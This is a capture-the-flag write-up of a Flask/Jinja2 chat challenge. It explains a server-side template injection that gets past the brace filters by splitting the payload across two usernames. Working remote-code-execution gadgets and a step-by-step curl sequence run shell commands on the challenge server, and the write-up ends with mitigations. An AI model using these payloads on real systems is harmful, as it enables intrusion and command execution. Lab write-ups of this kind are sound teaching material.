Group Chat

TL;DR

  • Bug: user-controlled content rendered via render_template_stringJinja2 SSTI.
  • Filters: username blocks a single string containing both { and }, and chat messages must be alphanumeric.
  • Bypass: split the Jinja expression across two usernames, and use an unterminated string + ~ to swallow the noise between chat lines.
  • RCE primitive: {{ request.application.__globals__.__builtins__.__import__("os").popen("…").read() }}.
  • Loot: ls -la showed flag.txt; cat flag.txt returned

    LITCTF{1m_g0nn4_h4v3_t0_d0_m0r3_t0_5t0p_7he_1n3v1t4bl3_f0rw4rd_br4c3_f0rw4rd_br4c3_b4ckw4rd_br4c3_b4ckw4rd_br4c3}.


Challenge Facts

  • Category: Web
  • Stack: Flask + Jinja2, Flask-SocketIO (unused in vuln path)
  • Key routes:
    • /set_username — sets session['username'] with weak checks
    • / — renders chat via render_template_string with chat_logs concatenated directly
    • /send_message — accepts only isalnum() messages
  • Filters:
    # username checks
    if len(username) > 1000: reject
    if username.count('{') and username.count('}'): reject
    # messages must be alphanumeric
    if not msg.isalnum(): reject

Root Cause Analysis

1) Dangerous rendering

The index builds a template string and directly injects chat_logs:

html = '''
<div id="chat-box">''' + '<br>'.join(chat_logs) + '''
</div>
'''
return render_template_string(html)  # ← interprets Jinja

This means any {{ … }} in usernames/messages becomes live Jinja.

2) “Protection” is bypassable

  • The username rejection only triggers if one string contains both { and }.
  • Messages can’t carry braces at all (isalnum()), but they do get joined between usernames as ": msg<br>".

Idea: place {{ … ~ ' in one username and the closing ' }} in a later username, so the in-between : A<br> is swallowed as a literal by the open quote, yielding valid Jinja.


Exploitation Journey

A) (Discarded) Stored XSS

  • Username as <img onerror=…> executes for us, but there were no juicy admin-only endpoints (404s on /flag, /admin, etc.).
  • So we pivoted to template injection / RCE.

B) Split-brace SSTI (core technique)

We use two usernames and send a benign message after each to get them into the log.

Username #1 (open expression + open quote):

{{ 7*7 ~ "

Send a message: A (any alphanumeric)

This makes / 500 (template is incomplete). That’s expected.

Username #2 (close quote + close expression):

" }}

Send another message: B

Now the page renders and shows 49, proving SSTI with our split braces.

The key is Jinja’s ~ (concatenation) and leaving an open double quote to absorb : A<br> between the two lines.

Turning SSTI → RCE

Swap the first username’s expression to a Python gadget that reaches os:

Reliable gadget (via Flask request object):

{{ request.application.__globals__.__builtins__.__import__("os").popen("ls -la").read() ~ "

Then repeat the closer username:

" }}

…and send a benign message after each set.

Results (excerpt):

total 32
drwxr-xr-x 1 user user 4096 Aug 24 07:37 .
drwxr-xr-x 1 root root 4096 Aug 23 03:28 ..
-rw-rw-r-- 1 user user 114 Aug 12 01:45 flag.txt
-rw-rw-r-- 1 user user 2746 Aug 23 02:59 main.py
...

Read the flag:

First username:

{{ request.application.__globals__.__builtins__.__import__("os").popen("cat flag.txt").read() ~ "

Closer username:

" }}

Flag:

LITCTF{1m_g0nn4_h4v3_t0_d0_m0r3_t0_5t0p_7he_1n3v1t4bl3_f0rw4rd_br4c3_f0rw4rd_br4c3_b4ckw4rd_br4c3_b4ckw4rd_br4c3}


Exact curl Flow (deterministic, cookie-safe)

Replace BASE with your instance URL.
BASE='http://34.44.129.8:52313'

# 1) Start a session (saves cookies to file "c")
curl -c c "$BASE/set_username" > /dev/null

# 2) First half — PoC: 7*7
curl -b c -c c -X POST "$BASE/set_username" --data-urlencode 'username={{ 7*7 ~ "'
curl -b c -c c -X POST "$BASE/send_message" -d 'message=A' -L -o /dev/null

# 3) Second half — close and render
curl -b c -c c -X POST "$BASE/set_username" --data-urlencode 'username=" }}'
curl -b c -c c -X POST "$BASE/send_message" -d 'message=B' -L -o /dev/null

# 4) Confirm: should see "49" in the chat HTML
curl -b c "$BASE/" | sed -n '1,200p'

Swap to RCE (ls):

curl -b c -c c -X POST "$BASE/set_username" --data-urlencode 'username={{ request.application.__globals__.__builtins__.__import__("os").popen("ls -la").read() ~ "'
curl -b c -c c -X POST "$BASE/send_message" -d 'message=A' -L -o /dev/null
curl -b c -c c -X POST "$BASE/set_username" --data-urlencode 'username=" }}'
curl -b c -c c -X POST "$BASE/send_message" -d 'message=B' -L -o /dev/null
curl -b c "$BASE/" | sed -n '1,300p'

Read the flag:

curl -b c -c c -X POST "$BASE/set_username" --data-urlencode 'username={{ request.application.__globals__.__builtins__.__import__("os").popen("cat flag.txt").read() ~ "'
curl -b c -c c -X POST "$BASE/send_message" -d 'message=A' -L -o /dev/null
curl -b c -c c -X POST "$BASE/set_username" --data-urlencode 'username=" }}'
curl -b c -c c -X POST "$BASE/send_message" -d 'message=B' -L -o /dev/null
curl -b c "$BASE/" | sed -n '1,300p'

Troubleshooting (quick)

  • Index shows 500 after first half: normal; the template is incomplete.
  • Still 500 even after closing:
    • Make sure both halves went to the same session (reuse cookies).
    • You may have multiple dangling {{ … from earlier attempts. Send the closer (" }} as username + a message) a few times to rebalance.
  • Quotes collide: we use double quotes for the swallowing string (~ "…"), so single quotes inside gadgets (e.g., ['os']) don’t break it.
  • Alternative gadgets (if one path is blocked):
    • {{ url_for.__globals__.__builtins__.__import__("os").popen("…").read() ~ "
    • {{ get_flashed_messages.__globals__.__builtins__.__import__("os").popen("…").read() ~ "

Mitigations (what should be fixed)

  • Never use render_template_string with untrusted content. Render a template file and pass data, not markup.
  • Escape user content: {{ chat_logs|e }} or store/render messages as text nodes.
  • If rich text is required, use a sanitizer (Bleach/DOMPurify server-side) to a safe subset.
  • Remove brittle {/} checks. They do nothing against split-payloads/SSTI. Use a proper allow-list and server-side validation.
  • Consider a CSP (script-src 'self') to soften XSS impact (doesn’t stop SSTI, but helps).
  • Keep debug off, Jinja sandboxing if possible (won’t save you here, but good practice).

Artifacts / Evidence

  • PoC render: 49 in chat after split-brace test.
  • ls -la output showing flag.txt in the working dir.
  • cat flag.txt output with the captured flag.
  • Terminal logs (cookie-consistent session) confirming the steps.